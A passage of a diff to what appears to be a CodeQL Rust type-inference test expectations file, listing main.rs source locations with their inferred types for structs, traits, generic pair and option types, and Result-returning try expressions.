-| main.rs:1115:34:1117:9 | { ... } | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1116:13:1116:13 | x | | file://:0:0:0:0 | & | -| main.rs:1116:13:1116:13 | x | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1119:15:1119:15 | x | | file://:0:0:0:0 | & | -| main.rs:1119:15:1119:15 | x | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1119:34:1121:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:1119:34:1121:9 | { ... } | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1120:13:1120:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1120:13:1120:16 | &... | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1120:14:1120:16 | &... | | file://:0:0:0:0 | & | -| main.rs:1120:14:1120:16 | &... | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1120:15:1120:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1120:15:1120:16 | &x | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1120:16:1120:16 | x | | file://:0:0:0:0 | & | -| main.rs:1120:16:1120:16 | x | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1125:13:1125:13 | x | | main.rs:1104:5:1104:13 | S | -| main.rs:1125:17:1125:20 | S {...} | | main.rs:1104:5:1104:13 | S | -| main.rs:1126:9:1126:9 | x | | main.rs:1104:5:1104:13 | S | -| main.rs:1126:9:1126:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:1126:9:1126:14 | x.f1() | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1127:9:1127:9 | x | | main.rs:1104:5:1104:13 | S | -| main.rs:1127:9:1127:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:1127:9:1127:14 | x.f2() | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1128:9:1128:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:1128:9:1128:17 | ...::f3(...) | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1128:15:1128:16 | &x | | file://:0:0:0:0 | & | -| main.rs:1128:15:1128:16 | &x | &T | main.rs:1104:5:1104:13 | S | -| main.rs:1128:16:1128:16 | x | | main.rs:1104:5:1104:13 | S | -| main.rs:1142:43:1145:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1142:43:1145:5 | { ... } | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1142:43:1145:5 | { ... } | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1143:13:1143:13 | x | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1143:17:1143:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1143:17:1143:30 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1143:17:1143:31 | TryExpr | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1143:28:1143:29 | S1 | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1144:9:1144:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1144:9:1144:22 | ...::Ok(...) | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1144:9:1144:22 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1144:20:1144:21 | S1 | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1148:46:1152:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1148:46:1152:5 | { ... } | E | main.rs:1138:5:1139:14 | S2 | -| main.rs:1148:46:1152:5 | { ... } | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1149:13:1149:13 | x | | file://:0:0:0:0 | Result | -| main.rs:1149:13:1149:13 | x | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1149:17:1149:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1149:17:1149:30 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1149:28:1149:29 | S1 | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1150:13:1150:13 | y | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1150:17:1150:17 | x | | file://:0:0:0:0 | Result | -| main.rs:1150:17:1150:17 | x | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1150:17:1150:18 | TryExpr | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1151:9:1151:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1151:9:1151:22 | ...::Ok(...) | E | main.rs:1138:5:1139:14 | S2 | -| main.rs:1151:9:1151:22 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1151:20:1151:21 | S1 | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1155:40:1160:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1155:40:1160:5 | { ... } | E | main.rs:1138:5:1139:14 | S2 | -| main.rs:1155:40:1160:5 | { ... } | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1156:13:1156:13 | x | | file://:0:0:0:0 | Result | -| main.rs:1156:13:1156:13 | x | T | file://:0:0:0:0 | Result | -| main.rs:1156:13:1156:13 | x | T.T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1156:17:1156:42 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1156:17:1156:42 | ...::Ok(...) | T | file://:0:0:0:0 | Result | -| main.rs:1156:17:1156:42 | ...::Ok(...) | T.T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1156:28:1156:41 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1156:28:1156:41 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1156:39:1156:40 | S1 | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1158:17:1158:17 | x | | file://:0:0:0:0 | Result | -| main.rs:1158:17:1158:17 | x | T | file://:0:0:0:0 | Result | -| main.rs:1158:17:1158:17 | x | T.T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1158:17:1158:18 | TryExpr | | file://:0:0:0:0 | Result | -| main.rs:1158:17:1158:18 | TryExpr | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1158:17:1158:29 | ... .map(...) | | file://:0:0:0:0 | Result | -| main.rs:1159:9:1159:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1159:9:1159:22 | ...::Ok(...) | E | main.rs:1138:5:1139:14 | S2 | -| main.rs:1159:9:1159:22 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1159:20:1159:21 | S1 | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1163:30:1163:34 | input | | file://:0:0:0:0 | Result | -| main.rs:1163:30:1163:34 | input | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1163:30:1163:34 | input | T | main.rs:1163:20:1163:27 | T | -| main.rs:1163:69:1170:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1163:69:1170:5 | { ... } | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1163:69:1170:5 | { ... } | T | main.rs:1163:20:1163:27 | T | -| main.rs:1164:13:1164:17 | value | | main.rs:1163:20:1163:27 | T | -| main.rs:1164:21:1164:25 | input | | file://:0:0:0:0 | Result | -| main.rs:1164:21:1164:25 | input | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1164:21:1164:25 | input | T | main.rs:1163:20:1163:27 | T | -| main.rs:1164:21:1164:26 | TryExpr | | main.rs:1163:20:1163:27 | T | -| main.rs:1165:22:1165:38 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1165:22:1165:38 | ...::Ok(...) | T | main.rs:1163:20:1163:27 | T | -| main.rs:1165:22:1168:10 | ... .and_then(...) | | file://:0:0:0:0 | Result | -| main.rs:1165:33:1165:37 | value | | main.rs:1163:20:1163:27 | T | -| main.rs:1165:53:1168:9 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:1165:53:1168:9 | { ... } | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1167:13:1167:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | -| main.rs:1167:13:1167:34 | ...::Ok::<...>(...) | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1169:9:1169:23 | ...::Err(...) | | file://:0:0:0:0 | Result | -| main.rs:1169:9:1169:23 | ...::Err(...) | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1169:9:1169:23 | ...::Err(...) | T | main.rs:1163:20:1163:27 | T | -| main.rs:1169:21:1169:22 | S1 | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1173:37:1173:52 | try_same_error(...) | | file://:0:0:0:0 | Result | -| main.rs:1173:37:1173:52 | try_same_error(...) | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1173:37:1173:52 | try_same_error(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1177:37:1177:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | -| main.rs:1177:37:1177:55 | try_convert_error(...) | E | main.rs:1138:5:1139:14 | S2 | -| main.rs:1177:37:1177:55 | try_convert_error(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1181:37:1181:49 | try_chained(...) | | file://:0:0:0:0 | Result | -| main.rs:1181:37:1181:49 | try_chained(...) | E | main.rs:1138:5:1139:14 | S2 | -| main.rs:1181:37:1181:49 | try_chained(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1185:37:1185:63 | try_complex(...) | | file://:0:0:0:0 | Result | -| main.rs:1185:37:1185:63 | try_complex(...) | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1185:37:1185:63 | try_complex(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1185:49:1185:62 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:1185:49:1185:62 | ...::Ok(...) | E | main.rs:1135:5:1136:14 | S1 | -| main.rs:1185:49:1185:62 | ...::Ok(...) | T | main.rs:1135:5:1136:14 | S1 | -| main.rs:1185:60:1185:61 | S1 | | main.rs:1135:5:1136:14 | S1 | -| main.rs:1193:5:1193:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1194:5:1194:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1194:20:1194:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1194:41:1194:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:787:44:787:44 | x | | main.rs:787:26:787:41 | T2 | +| main.rs:787:57:789:5 | { ... } | | main.rs:787:22:787:23 | T1 | +| main.rs:788:9:788:9 | x | | main.rs:787:26:787:41 | T2 | +| main.rs:788:9:788:14 | x.m1() | | main.rs:787:22:787:23 | T1 | +| main.rs:791:56:791:56 | x | | main.rs:791:39:791:53 | T | +| main.rs:793:13:793:13 | a | | main.rs:741:20:741:22 | Tr2 | +| main.rs:793:17:793:17 | x | | main.rs:791:39:791:53 | T | +| main.rs:793:17:793:22 | x.m1() | | main.rs:741:20:741:22 | Tr2 | +| main.rs:794:26:794:26 | a | | main.rs:741:20:741:22 | Tr2 | +| main.rs:798:13:798:13 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:798:13:798:13 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:798:17:798:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:798:17:798:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | +| main.rs:798:30:798:31 | S1 | | main.rs:731:5:732:14 | S1 | +| main.rs:799:13:799:13 | y | | main.rs:721:5:724:5 | MyThing | +| main.rs:799:13:799:13 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:799:17:799:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:799:17:799:33 | MyThing {...} | A | main.rs:733:5:734:14 | S2 | +| main.rs:799:30:799:31 | S2 | | main.rs:733:5:734:14 | S2 | +| main.rs:801:26:801:26 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:801:26:801:26 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:801:26:801:31 | x.m1() | | main.rs:731:5:732:14 | S1 | +| main.rs:802:26:802:26 | y | | main.rs:721:5:724:5 | MyThing | +| main.rs:802:26:802:26 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:802:26:802:31 | y.m1() | | main.rs:733:5:734:14 | S2 | +| main.rs:804:13:804:13 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:804:13:804:13 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:804:17:804:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:804:17:804:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | +| main.rs:804:30:804:31 | S1 | | main.rs:731:5:732:14 | S1 | +| main.rs:805:13:805:13 | y | | main.rs:721:5:724:5 | MyThing | +| main.rs:805:13:805:13 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:805:17:805:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:805:17:805:33 | MyThing {...} | A | main.rs:733:5:734:14 | S2 | +| main.rs:805:30:805:31 | S2 | | main.rs:733:5:734:14 | S2 | +| main.rs:807:26:807:26 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:807:26:807:26 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:807:26:807:31 | x.m2() | | main.rs:731:5:732:14 | S1 | +| main.rs:808:26:808:26 | y | | main.rs:721:5:724:5 | MyThing | +| main.rs:808:26:808:26 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:808:26:808:31 | y.m2() | | main.rs:733:5:734:14 | S2 | +| main.rs:810:13:810:13 | x | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:810:13:810:13 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:810:17:810:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:810:17:810:34 | MyThing2 {...} | A | main.rs:731:5:732:14 | S1 | +| main.rs:810:31:810:32 | S1 | | main.rs:731:5:732:14 | S1 | +| main.rs:811:13:811:13 | y | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:811:13:811:13 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:811:17:811:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:811:17:811:34 | MyThing2 {...} | A | main.rs:733:5:734:14 | S2 | +| main.rs:811:31:811:32 | S2 | | main.rs:733:5:734:14 | S2 | +| main.rs:813:26:813:26 | x | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:813:26:813:26 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:813:26:813:31 | x.m3() | | main.rs:731:5:732:14 | S1 | +| main.rs:814:26:814:26 | y | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:814:26:814:26 | y | A | main.rs:733:5:734:14 | S2 | +| main.rs:814:26:814:31 | y.m3() | | main.rs:733:5:734:14 | S2 | +| main.rs:816:13:816:13 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:816:13:816:13 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:816:17:816:33 | MyThing {...} | | main.rs:721:5:724:5 | MyThing | +| main.rs:816:17:816:33 | MyThing {...} | A | main.rs:731:5:732:14 | S1 | +| main.rs:816:30:816:31 | S1 | | main.rs:731:5:732:14 | S1 | +| main.rs:817:13:817:13 | s | | main.rs:731:5:732:14 | S1 | +| main.rs:817:13:817:13 | s | | main.rs:741:20:741:22 | Tr2 | +| main.rs:817:17:817:32 | call_trait_m1(...) | | main.rs:731:5:732:14 | S1 | +| main.rs:817:17:817:32 | call_trait_m1(...) | | main.rs:741:20:741:22 | Tr2 | +| main.rs:817:31:817:31 | x | | main.rs:721:5:724:5 | MyThing | +| main.rs:817:31:817:31 | x | A | main.rs:731:5:732:14 | S1 | +| main.rs:819:13:819:13 | x | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:819:13:819:13 | x | A | main.rs:733:5:734:14 | S2 | +| main.rs:819:17:819:34 | MyThing2 {...} | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:819:17:819:34 | MyThing2 {...} | A | main.rs:733:5:734:14 | S2 | +| main.rs:819:31:819:32 | S2 | | main.rs:733:5:734:14 | S2 | +| main.rs:820:13:820:13 | s | | main.rs:721:5:724:5 | MyThing | +| main.rs:820:13:820:13 | s | | main.rs:741:20:741:22 | Tr2 | +| main.rs:820:13:820:13 | s | A | main.rs:733:5:734:14 | S2 | +| main.rs:820:17:820:32 | call_trait_m1(...) | | main.rs:721:5:724:5 | MyThing | +| main.rs:820:17:820:32 | call_trait_m1(...) | | main.rs:741:20:741:22 | Tr2 | +| main.rs:820:17:820:32 | call_trait_m1(...) | A | main.rs:733:5:734:14 | S2 | +| main.rs:820:31:820:31 | x | | main.rs:726:5:729:5 | MyThing2 | +| main.rs:820:31:820:31 | x | A | main.rs:733:5:734:14 | S2 | +| main.rs:838:22:838:22 | x | | file://:0:0:0:0 | & | +| main.rs:838:22:838:22 | x | &T | main.rs:838:11:838:19 | T | +| main.rs:838:35:840:5 | { ... } | | file://:0:0:0:0 | & | +| main.rs:838:35:840:5 | { ... } | &T | main.rs:838:11:838:19 | T | +| main.rs:839:9:839:9 | x | | file://:0:0:0:0 | & | +| main.rs:839:9:839:9 | x | &T | main.rs:838:11:838:19 | T | +| main.rs:843:17:843:20 | SelfParam | | main.rs:828:5:829:14 | S1 | +| main.rs:843:29:845:9 | { ... } | | main.rs:831:5:832:14 | S2 | +| main.rs:844:13:844:14 | S2 | | main.rs:831:5:832:14 | S2 | +| main.rs:848:21:848:21 | x | | main.rs:848:13:848:14 | T1 | +| main.rs:851:5:853:5 | { ... } | | main.rs:848:17:848:18 | T2 | +| main.rs:852:9:852:9 | x | | main.rs:848:13:848:14 | T1 | +| main.rs:852:9:852:16 | x.into() | | main.rs:848:17:848:18 | T2 | +| main.rs:856:13:856:13 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:856:17:856:18 | S1 | | main.rs:828:5:829:14 | S1 | +| main.rs:857:26:857:31 | id(...) | | file://:0:0:0:0 | & | +| main.rs:857:26:857:31 | id(...) | &T | main.rs:828:5:829:14 | S1 | +| main.rs:857:29:857:30 | &x | | file://:0:0:0:0 | & | +| main.rs:857:29:857:30 | &x | &T | main.rs:828:5:829:14 | S1 | +| main.rs:857:30:857:30 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:859:13:859:13 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:859:17:859:18 | S1 | | main.rs:828:5:829:14 | S1 | +| main.rs:860:26:860:37 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:860:26:860:37 | id::<...>(...) | &T | main.rs:828:5:829:14 | S1 | +| main.rs:860:35:860:36 | &x | | file://:0:0:0:0 | & | +| main.rs:860:35:860:36 | &x | &T | main.rs:828:5:829:14 | S1 | +| main.rs:860:36:860:36 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:862:13:862:13 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:862:17:862:18 | S1 | | main.rs:828:5:829:14 | S1 | +| main.rs:863:26:863:44 | id::<...>(...) | | file://:0:0:0:0 | & | +| main.rs:863:26:863:44 | id::<...>(...) | &T | main.rs:828:5:829:14 | S1 | +| main.rs:863:42:863:43 | &x | | file://:0:0:0:0 | & | +| main.rs:863:42:863:43 | &x | &T | main.rs:828:5:829:14 | S1 | +| main.rs:863:43:863:43 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:865:13:865:13 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:865:17:865:18 | S1 | | main.rs:828:5:829:14 | S1 | +| main.rs:866:9:866:25 | into::<...>(...) | | main.rs:831:5:832:14 | S2 | +| main.rs:866:24:866:24 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:868:13:868:13 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:868:17:868:18 | S1 | | main.rs:828:5:829:14 | S1 | +| main.rs:869:13:869:13 | y | | main.rs:831:5:832:14 | S2 | +| main.rs:869:21:869:27 | into(...) | | main.rs:831:5:832:14 | S2 | +| main.rs:869:26:869:26 | x | | main.rs:828:5:829:14 | S1 | +| main.rs:883:22:883:25 | SelfParam | | main.rs:874:5:880:5 | PairOption | +| main.rs:883:22:883:25 | SelfParam | Fst | main.rs:882:10:882:12 | Fst | +| main.rs:883:22:883:25 | SelfParam | Snd | main.rs:882:15:882:17 | Snd | +| main.rs:883:35:890:9 | { ... } | | main.rs:882:15:882:17 | Snd | +| main.rs:884:13:889:13 | match self { ... } | | main.rs:882:15:882:17 | Snd | +| main.rs:884:19:884:22 | self | | main.rs:874:5:880:5 | PairOption | +| main.rs:884:19:884:22 | self | Fst | main.rs:882:10:882:12 | Fst | +| main.rs:884:19:884:22 | self | Snd | main.rs:882:15:882:17 | Snd | +| main.rs:885:43:885:82 | MacroExpr | | main.rs:882:15:882:17 | Snd | +| main.rs:886:43:886:81 | MacroExpr | | main.rs:882:15:882:17 | Snd | +| main.rs:887:37:887:39 | snd | | main.rs:882:15:882:17 | Snd | +| main.rs:887:45:887:47 | snd | | main.rs:882:15:882:17 | Snd | +| main.rs:888:41:888:43 | snd | | main.rs:882:15:882:17 | Snd | +| main.rs:888:49:888:51 | snd | | main.rs:882:15:882:17 | Snd | +| main.rs:914:10:914:10 | t | | main.rs:874:5:880:5 | PairOption | +| main.rs:914:10:914:10 | t | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:914:10:914:10 | t | Snd | main.rs:874:5:880:5 | PairOption | +| main.rs:914:10:914:10 | t | Snd.Fst | main.rs:896:5:897:14 | S2 | +| main.rs:914:10:914:10 | t | Snd.Snd | main.rs:899:5:900:14 | S3 | +| main.rs:915:13:915:13 | x | | main.rs:899:5:900:14 | S3 | +| main.rs:915:17:915:17 | t | | main.rs:874:5:880:5 | PairOption | +| main.rs:915:17:915:17 | t | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:915:17:915:17 | t | Snd | main.rs:874:5:880:5 | PairOption | +| main.rs:915:17:915:17 | t | Snd.Fst | main.rs:896:5:897:14 | S2 | +| main.rs:915:17:915:17 | t | Snd.Snd | main.rs:899:5:900:14 | S3 | +| main.rs:915:17:915:29 | t.unwrapSnd() | | main.rs:874:5:880:5 | PairOption | +| main.rs:915:17:915:29 | t.unwrapSnd() | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:915:17:915:29 | t.unwrapSnd() | Snd | main.rs:899:5:900:14 | S3 | +| main.rs:915:17:915:41 | ... .unwrapSnd() | | main.rs:899:5:900:14 | S3 | +| main.rs:916:26:916:26 | x | | main.rs:899:5:900:14 | S3 | +| main.rs:921:13:921:14 | p1 | | main.rs:874:5:880:5 | PairOption | +| main.rs:921:13:921:14 | p1 | Fst | main.rs:893:5:894:14 | S1 | +| main.rs:921:13:921:14 | p1 | Snd | main.rs:896:5:897:14 | S2 | +| main.rs:921:26:921:53 | ...::PairBoth(...) | | main.rs:874:5:880:5 | PairOption | +| main.rs:921:26:921:53 | ...::PairBoth(...) | Fst | main.rs:893:5:894:14 | S1 | +| main.rs:921:26:921:53 | ...::PairBoth(...) | Snd | main.rs:896:5:897:14 | S2 | +| main.rs:921:47:921:48 | S1 | | main.rs:893:5:894:14 | S1 | +| main.rs:921:51:921:52 | S2 | | main.rs:896:5:897:14 | S2 | +| main.rs:922:26:922:27 | p1 | | main.rs:874:5:880:5 | PairOption | +| main.rs:922:26:922:27 | p1 | Fst | main.rs:893:5:894:14 | S1 | +| main.rs:922:26:922:27 | p1 | Snd | main.rs:896:5:897:14 | S2 | +| main.rs:925:13:925:14 | p2 | | main.rs:874:5:880:5 | PairOption | +| main.rs:925:13:925:14 | p2 | Fst | main.rs:893:5:894:14 | S1 | +| main.rs:925:13:925:14 | p2 | Snd | main.rs:896:5:897:14 | S2 | +| main.rs:925:26:925:47 | ...::PairNone(...) | | main.rs:874:5:880:5 | PairOption | +| main.rs:925:26:925:47 | ...::PairNone(...) | Fst | main.rs:893:5:894:14 | S1 | +| main.rs:925:26:925:47 | ...::PairNone(...) | Snd | main.rs:896:5:897:14 | S2 | +| main.rs:926:26:926:27 | p2 | | main.rs:874:5:880:5 | PairOption | +| main.rs:926:26:926:27 | p2 | Fst | main.rs:893:5:894:14 | S1 | +| main.rs:926:26:926:27 | p2 | Snd | main.rs:896:5:897:14 | S2 | +| main.rs:929:13:929:14 | p3 | | main.rs:874:5:880:5 | PairOption | +| main.rs:929:13:929:14 | p3 | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:929:13:929:14 | p3 | Snd | main.rs:899:5:900:14 | S3 | +| main.rs:929:34:929:56 | ...::PairSnd(...) | | main.rs:874:5:880:5 | PairOption | +| main.rs:929:34:929:56 | ...::PairSnd(...) | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:929:34:929:56 | ...::PairSnd(...) | Snd | main.rs:899:5:900:14 | S3 | +| main.rs:929:54:929:55 | S3 | | main.rs:899:5:900:14 | S3 | +| main.rs:930:26:930:27 | p3 | | main.rs:874:5:880:5 | PairOption | +| main.rs:930:26:930:27 | p3 | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:930:26:930:27 | p3 | Snd | main.rs:899:5:900:14 | S3 | +| main.rs:933:13:933:14 | p3 | | main.rs:874:5:880:5 | PairOption | +| main.rs:933:13:933:14 | p3 | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:933:13:933:14 | p3 | Snd | main.rs:899:5:900:14 | S3 | +| main.rs:933:35:933:56 | ...::PairNone(...) | | main.rs:874:5:880:5 | PairOption | +| main.rs:933:35:933:56 | ...::PairNone(...) | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:933:35:933:56 | ...::PairNone(...) | Snd | main.rs:899:5:900:14 | S3 | +| main.rs:934:26:934:27 | p3 | | main.rs:874:5:880:5 | PairOption | +| main.rs:934:26:934:27 | p3 | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:934:26:934:27 | p3 | Snd | main.rs:899:5:900:14 | S3 | +| main.rs:936:11:936:54 | ...::PairSnd(...) | | main.rs:874:5:880:5 | PairOption | +| main.rs:936:11:936:54 | ...::PairSnd(...) | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:936:11:936:54 | ...::PairSnd(...) | Snd | main.rs:874:5:880:5 | PairOption | +| main.rs:936:11:936:54 | ...::PairSnd(...) | Snd.Fst | main.rs:896:5:897:14 | S2 | +| main.rs:936:11:936:54 | ...::PairSnd(...) | Snd.Snd | main.rs:899:5:900:14 | S3 | +| main.rs:936:31:936:53 | ...::PairSnd(...) | | main.rs:874:5:880:5 | PairOption | +| main.rs:936:31:936:53 | ...::PairSnd(...) | Fst | main.rs:896:5:897:14 | S2 | +| main.rs:936:31:936:53 | ...::PairSnd(...) | Snd | main.rs:899:5:900:14 | S3 | +| main.rs:936:51:936:52 | S3 | | main.rs:899:5:900:14 | S3 | +| main.rs:949:16:949:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:949:16:949:24 | SelfParam | &T | main.rs:947:5:954:5 | Self [trait MyTrait] | +| main.rs:949:27:949:31 | value | | main.rs:947:19:947:19 | S | +| main.rs:951:21:951:29 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:951:21:951:29 | SelfParam | &T | main.rs:947:5:954:5 | Self [trait MyTrait] | +| main.rs:951:32:951:36 | value | | main.rs:947:19:947:19 | S | +| main.rs:952:13:952:16 | self | | file://:0:0:0:0 | & | +| main.rs:952:13:952:16 | self | &T | main.rs:947:5:954:5 | Self [trait MyTrait] | +| main.rs:952:22:952:26 | value | | main.rs:947:19:947:19 | S | +| main.rs:958:16:958:24 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:958:16:958:24 | SelfParam | &T | main.rs:941:5:945:5 | MyOption | +| main.rs:958:16:958:24 | SelfParam | &T.T | main.rs:956:10:956:10 | T | +| main.rs:958:27:958:31 | value | | main.rs:956:10:956:10 | T | +| main.rs:962:26:964:9 | { ... } | | main.rs:941:5:945:5 | MyOption | +| main.rs:962:26:964:9 | { ... } | T | main.rs:961:10:961:10 | T | +| main.rs:963:13:963:30 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:963:13:963:30 | ...::MyNone(...) | T | main.rs:961:10:961:10 | T | +| main.rs:968:20:968:23 | SelfParam | | main.rs:941:5:945:5 | MyOption | +| main.rs:968:20:968:23 | SelfParam | T | main.rs:941:5:945:5 | MyOption | +| main.rs:968:20:968:23 | SelfParam | T.T | main.rs:967:10:967:10 | T | +| main.rs:968:41:973:9 | { ... } | | main.rs:941:5:945:5 | MyOption | +| main.rs:968:41:973:9 | { ... } | T | main.rs:967:10:967:10 | T | +| main.rs:969:13:972:13 | match self { ... } | | main.rs:941:5:945:5 | MyOption | +| main.rs:969:13:972:13 | match self { ... } | T | main.rs:967:10:967:10 | T | +| main.rs:969:19:969:22 | self | | main.rs:941:5:945:5 | MyOption | +| main.rs:969:19:969:22 | self | T | main.rs:941:5:945:5 | MyOption | +| main.rs:969:19:969:22 | self | T.T | main.rs:967:10:967:10 | T | +| main.rs:970:39:970:56 | ...::MyNone(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:970:39:970:56 | ...::MyNone(...) | T | main.rs:967:10:967:10 | T | +| main.rs:971:34:971:34 | x | | main.rs:941:5:945:5 | MyOption | +| main.rs:971:34:971:34 | x | T | main.rs:967:10:967:10 | T | +| main.rs:971:40:971:40 | x | | main.rs:941:5:945:5 | MyOption | +| main.rs:971:40:971:40 | x | T | main.rs:967:10:967:10 | T | +| main.rs:980:13:980:14 | x1 | | main.rs:941:5:945:5 | MyOption | +| main.rs:980:18:980:37 | ...::new(...) | | main.rs:941:5:945:5 | MyOption | +| main.rs:981:26:981:27 | x1 | | 